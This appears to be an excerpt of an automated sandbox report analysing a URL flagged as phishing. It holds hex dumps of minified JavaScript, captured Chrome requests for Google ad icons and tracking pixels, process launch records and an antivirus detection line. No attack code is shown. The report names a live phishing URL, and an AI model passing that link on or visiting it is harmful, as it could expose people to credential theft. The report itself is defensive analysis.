2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 63 29 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 20 64 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 62 2c 63 29 3b 64 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 63 2c 64 29 7d 65 6c 73 65 20 61 5b 63 5d 3d 62 5b 63 5d 3b 61 2e 68 67 3d 62 2e 70 72 6f 74 6f 74 79 70 65 7d 66 75 6e 63 74 69 6f 6e 20 73 61 28 29 7b 74 68 69 73 2e 4e 61 3d 21 31 3b 74 68 69 73 2e 66 61 3d 6e 75 6c 6c 3b 74 68 69 73 2e 68 64 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 6b 61 3d 31 3b 74 68 69 73 2e 77 64 3d 74 68 69 73 2e 6c 62 3d 30 3b 74 68 69 73 2e 6c 61 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 75 61 28 61 29 7b 69 66 28 61 2e 4e 61 29 74 Data Ascii: c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.hg=b.prototype}function sa(){this.Na=!1;this.fa=null;this.hd=void 0;this.ka=1;this.wd=this.lb=0;this.la=null}function ua(a){if(a.Na)t
2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 74 68 72 6f 77 20 62 2e 57 65 3b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 62 2e 72 65 74 75 72 6e 2c 64 6f 6e 65 3a 21 30 7d 7d 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 76 6f 69 64 20 30 2c 64 6f 6e 65 3a 21 30 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 61 28 61 29 7b 74 68 69 73 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 61 2e 53 61 28 62 29 7d 3b 74 68 69 73 2e 74 68 72 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 61 2e 58 61 28 62 29 7d 3b 74 68 69 73 2e 72 65 74 75 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 79 61 28 61 2c 62 29 7d 3b 74 68 69 73 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 7d 0a 66 75 6e 63 74 Data Ascii: throw b.We;return{value:b.return,done:!0}}return{value:void 0,done:!0}}function za(a){this.next=function(b){return a.Sa(b)};this.throw=function(b){return a.Xa(b)};this.return=function(b){return ya(a,b)};this[Symbol.iterator]=function(){return this}}funct
2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 2e 51 63 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 20 50 72 6f 6d 69 73 65 20 63 61 6e 6e 6f 74 20 72 65 73 6f 6c 76 65 20 74 6f 20 69 74 73 65 6c 66 22 29 29 3b 65 6c 73 65 20 69 66 28 67 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 74 68 69 73 2e 58 66 28 67 29 3b 65 6c 73 65 7b 61 3a 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 67 29 7b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 76 61 72 20 68 3d 6e 75 6c 6c 21 3d 67 3b 62 72 65 61 6b 20 61 3b 63 61 73 65 20 22 66 75 6e 63 74 69 6f 6e 22 3a 68 3d 21 30 3b 62 72 65 61 6b 20 61 3b 0a 64 65 66 61 75 6c 74 3a 68 3d 21 31 7d 68 3f 74 68 69 73 2e 4e 66 28 67 29 3a 74 68 69 73 2e 7a 64 28 67 29 7d 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 4e 66 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 76 61 72 20 68 3d 76 6f Data Ascii: .Qc(new TypeError("A Promise cannot resolve to itself"));else if(g instanceof b)this.Xf(g);else{a:switch(typeof g){case "object":var h=null!=g;break a;case "function":h=!0;break a;default:h=!1}h?this.Nf(g):this.zd(g)}};b.prototype.Nf=function(g){var h=vo
2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 6b 28 72 2c 74 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 3f 66 75 6e 63 74 69 6f 6e 28 75 29 7b 74 72 79 7b 6c 28 72 28 75 29 29 7d 63 61 74 63 68 28 76 29 7b 70 28 76 29 7d 7d 3a 74 7d 76 61 72 20 6c 2c 70 2c 71 3d 6e 65 77 20 62 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 6c 3d 72 3b 70 3d 74 7d 29 3b 74 68 69 73 2e 6b 62 28 6b 28 67 2c 6c 29 2c 6b 28 68 2c 70 29 29 3b 72 65 74 75 72 6e 20 71 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 Data Ascii: e,k.reject)}catch(l){k.reject(l)}};b.prototype.then=function(g,h){function k(r,t){return"function"==typeof r?function(u){try{l(r(u))}catch(v){p(v)}}:t}var l,p,q=new b(function(r,t){l=r;p=t});this.kb(k(g,l),k(h,p));return q};b.prototype.catch=function(g){r
2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 6e 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 64 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 44 61 28 74 68 69 73 2c 62 2c 22 65 6e 64 73 57 69 74 68 22 29 3b 62 2b 3d 22 22 3b 76 6f 69 64 20 30 3d 3d 3d 63 26 26 28 63 3d 64 2e 6c 65 6e 67 74 68 29 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 65 3d 62 2e 6c 65 6e 67 74 68 3b 30 3c 65 26 26 30 3c 63 3b 29 69 66 28 64 5b 2d 2d 63 5d 21 3d 62 5b 2d 2d 65 5d 29 72 65 74 75 72 6e 21 31 3b 72 Data Ascii: a regular expression");return a+""}n("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=Da(this,b,"endsWith");b+="";void 0===c&&(c=d.length);c=Math.max(0,Math.min(c\|0,d.length));for(var e=b.length;0<e&&0<c;)if(d[--c]!=b[--e])return!1;r
2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 76 61 6c 75 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 62 5b 64 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6e 28 22 4f 62 6a 65 63 74 2e 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d 63 7d 7d 29 3b 6e 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 63 6c 75 64 Data Ascii: values",function(a){return a?a:function(b){var c=[],d;for(d in b)Object.prototype.hasOwnProperty.call(b,d)&&c.push(b[d]);return c}});n("Object.is",function(a){return a?a:function(b,c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==c}});n("Array.prototype.includ
2024-05-23 22:52:17 UTC	1390	IN	Data Raw: 41 72 72 61 79 28 61 29 3f 22 61 72 72 61 79 22 3a 62 3a 22 6e 75 6c 6c 22 3b 72 65 74 75 72 6e 22 61 72 72 61 79 22 3d 3d 62 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 62 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 7d 66 75 6e 63 74 69 6f 6e 20 48 61 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 72 65 74 75 72 6e 22 6f 62 6a 65 63 74 22 3d 3d 62 26 26 6e 75 6c 6c 21 3d 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 49 61 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 63 2e 70 72 6f 74 6f 74 79 70 65 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 68 67 3d 62 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 63 3b 61 2e 70 72 6f 74 6f 74 79 70 Data Ascii: Array(a)?"array":b:"null";return"array"==b\|\|"object"==b&&"number"==typeof a.length}function Ha(a){var b=typeof a;return"object"==b&&null!=a\|\|"function"==b}function Ia(a,b){function c(){}c.prototype=b.prototype;a.hg=b.prototype;a.prototype=new c;a.prototyp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49800	172.217.18.1	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:19 UTC	758	OUT	GET /ad_icons/standard/publisher_icon_image/chevron.svg?c=%23ffffff HTTP/1.1 Host: afs.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.adsensecustomsearchads.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:19 UTC	800	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/afs-native-asset-managers Cross-Origin-Opener-Policy: same-origin; report-to="afs-native-asset-managers" Report-To: {"group":"afs-native-asset-managers","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/afs-native-asset-managers"}]} Content-Length: 200 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 23 May 2024 09:12:12 GMT Expires: Fri, 24 May 2024 08:12:12 GMT Cache-Control: public, max-age=82800 Age: 49207 Last-Modified: Thu, 02 Nov 2023 22:48:00 GMT Content-Type: image/svg+xml Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:52:19 UTC	200	IN	Data Raw: 3c 73 76 67 20 66 69 6c 6c 3d 27 23 66 66 66 66 66 66 27 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 77 69 64 74 68 3d 22 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 30 68 32 34 76 32 34 48 30 7a 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 35 2e 38 38 20 34 2e 31 32 4c 31 33 2e 37 36 20 31 32 6c 2d 37 2e 38 38 20 37 2e 38 38 4c 38 20 32 32 6c 31 30 2d 31 30 4c 38 20 32 7a 22 2f 3e 3c 2f 73 76 67 3e Data Ascii: <svg fill='#ffffff' xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><path d="M5.88 4.12L13.76 12l-7.88 7.88L8 22l10-10L8 2z"/></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49801	172.217.18.1	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:19 UTC	757	OUT	GET /ad_icons/standard/publisher_icon_image/search.svg?c=%23ffffff HTTP/1.1 Host: afs.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.adsensecustomsearchads.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:19 UTC	788	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: image/svg+xml Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/afs-native-asset-managers Cross-Origin-Opener-Policy: same-origin; report-to="afs-native-asset-managers" Report-To: {"group":"afs-native-asset-managers","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/afs-native-asset-managers"}]} Content-Length: 391 Date: Thu, 23 May 2024 22:52:19 GMT Expires: Fri, 24 May 2024 21:52:19 GMT Cache-Control: public, max-age=82800 Last-Modified: Thu, 20 Jul 2023 22:48:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:52:19 UTC	391	IN	Data Raw: 3c 73 76 67 20 66 69 6c 6c 3d 27 23 66 66 66 66 66 66 27 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 30 30 22 20 68 65 69 67 68 74 3d 22 32 30 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 35 2e 35 20 31 34 68 2d 2e 37 39 6c 2d 2e 32 38 2d 2e 32 37 43 31 35 2e 34 31 20 31 32 2e 35 39 20 31 36 20 31 31 2e 31 31 20 31 36 20 39 2e 35 20 31 36 20 35 2e 39 31 20 31 33 2e 30 39 20 33 20 39 2e 35 20 33 53 33 20 35 2e 39 31 20 33 20 39 2e 35 20 35 2e 39 31 20 31 36 20 39 2e 35 20 31 36 63 31 2e 36 31 20 30 20 33 2e 30 39 2d 2e 35 39 20 34 2e 32 33 2d 31 2e 35 37 6c 2e 32 37 2e 32 38 76 2e 37 39 6c 35 20 34 2e 39 39 4c Data Ascii: <svg fill='#ffffff' xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 24 24"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49796	142.250.185.78	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:19 UTC	897	OUT	GET /afs/gen_204?client=dp-teaminternet09_3ph&output=uds_ads_only&zx=35mgsdqnx1tq&aqid=oMhPZvCxD6uijuwPiPui6Qk&psid=7840396037&pbt=bs&adbx=375&adby=93&adbh=496&adbw=530&adbah=160%2C160%2C160&adbn=master-1&eawp=partner-dp-teaminternet09_3ph&errv=635538657&csala=7%7C0%7C1139%7C1372%7C276&lle=0&ifv=1&hpt=1&wbd=false HTTP/1.1 Host: www.adsensecustomsearchads.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://ww12.ngelit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:19 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Cu-F6eXNAXl-DSptQEYGsw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Thu, 23 May 2024 22:52:19 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49803	142.250.185.78	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:20 UTC	897	OUT	GET /afs/gen_204?client=dp-teaminternet09_3ph&output=uds_ads_only&zx=vhf3wk3421c2&aqid=oMhPZvCxD6uijuwPiPui6Qk&psid=7840396037&pbt=bv&adbx=375&adby=93&adbh=496&adbw=530&adbah=160%2C160%2C160&adbn=master-1&eawp=partner-dp-teaminternet09_3ph&errv=635538657&csala=7%7C0%7C1139%7C1372%7C276&lle=0&ifv=1&hpt=1&wbd=false HTTP/1.1 Host: www.adsensecustomsearchads.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://ww12.ngelit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:21 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-7Pz66NhXTDJRdjPOe7wYtA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Thu, 23 May 2024 22:52:21 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49804	142.250.185.193	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:21 UTC	508	OUT	GET /ad_icons/standard/publisher_icon_image/chevron.svg?c=%23ffffff HTTP/1.1 Host: afs.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:21 UTC	800	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/afs-native-asset-managers Cross-Origin-Opener-Policy: same-origin; report-to="afs-native-asset-managers" Report-To: {"group":"afs-native-asset-managers","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/afs-native-asset-managers"}]} Content-Length: 200 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 23 May 2024 16:56:44 GMT Expires: Fri, 24 May 2024 15:56:44 GMT Cache-Control: public, max-age=82800 Age: 21337 Last-Modified: Thu, 02 Nov 2023 22:48:00 GMT Content-Type: image/svg+xml Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:52:21 UTC	200	IN	Data Raw: 3c 73 76 67 20 66 69 6c 6c 3d 27 23 66 66 66 66 66 66 27 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 77 69 64 74 68 3d 22 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 30 68 32 34 76 32 34 48 30 7a 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 35 2e 38 38 20 34 2e 31 32 4c 31 33 2e 37 36 20 31 32 6c 2d 37 2e 38 38 20 37 2e 38 38 4c 38 20 32 32 6c 31 30 2d 31 30 4c 38 20 32 7a 22 2f 3e 3c 2f 73 76 67 3e Data Ascii: <svg fill='#ffffff' xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><path d="M5.88 4.12L13.76 12l-7.88 7.88L8 22l10-10L8 2z"/></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49805	142.250.185.193	443	5068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:52:21 UTC	507	OUT	GET /ad_icons/standard/publisher_icon_image/search.svg?c=%23ffffff HTTP/1.1 Host: afs.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:52:21 UTC	800	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/afs-native-asset-managers Cross-Origin-Opener-Policy: same-origin; report-to="afs-native-asset-managers" Report-To: {"group":"afs-native-asset-managers","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/afs-native-asset-managers"}]} Content-Length: 391 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 23 May 2024 15:22:53 GMT Expires: Fri, 24 May 2024 14:22:53 GMT Cache-Control: public, max-age=82800 Last-Modified: Thu, 20 Jul 2023 22:48:00 GMT Content-Type: image/svg+xml Vary: Accept-Encoding Age: 26968 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:52:21 UTC	391	IN	Data Raw: 3c 73 76 67 20 66 69 6c 6c 3d 27 23 66 66 66 66 66 66 27 20 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 30 30 22 20 68 65 69 67 68 74 3d 22 32 30 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 35 2e 35 20 31 34 68 2d 2e 37 39 6c 2d 2e 32 38 2d 2e 32 37 43 31 35 2e 34 31 20 31 32 2e 35 39 20 31 36 20 31 31 2e 31 31 20 31 36 20 39 2e 35 20 31 36 20 35 2e 39 31 20 31 33 2e 30 39 20 33 20 39 2e 35 20 33 53 33 20 35 2e 39 31 20 33 20 39 2e 35 20 35 2e 39 31 20 31 36 20 39 2e 35 20 31 36 63 31 2e 36 31 20 30 20 33 2e 30 39 2d 2e 35 39 20 34 2e 32 33 2d 31 2e 35 37 6c 2e 32 37 2e 32 38 76 2e 37 39 6c 35 20 34 2e 39 39 4c Data Ascii: <svg fill='#ffffff' xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 24 24"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L

Target ID:	0
Start time:	18:51:17
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:51:20
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=2028,i,8292762305425428644,7564485751747783064,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:51:22
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://simxtrackredirecttszz.pages.dev/"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: http://simxtrackredirecttszz.pages.dev/	Avira URL Cloud: detection malicious, Label: phishing
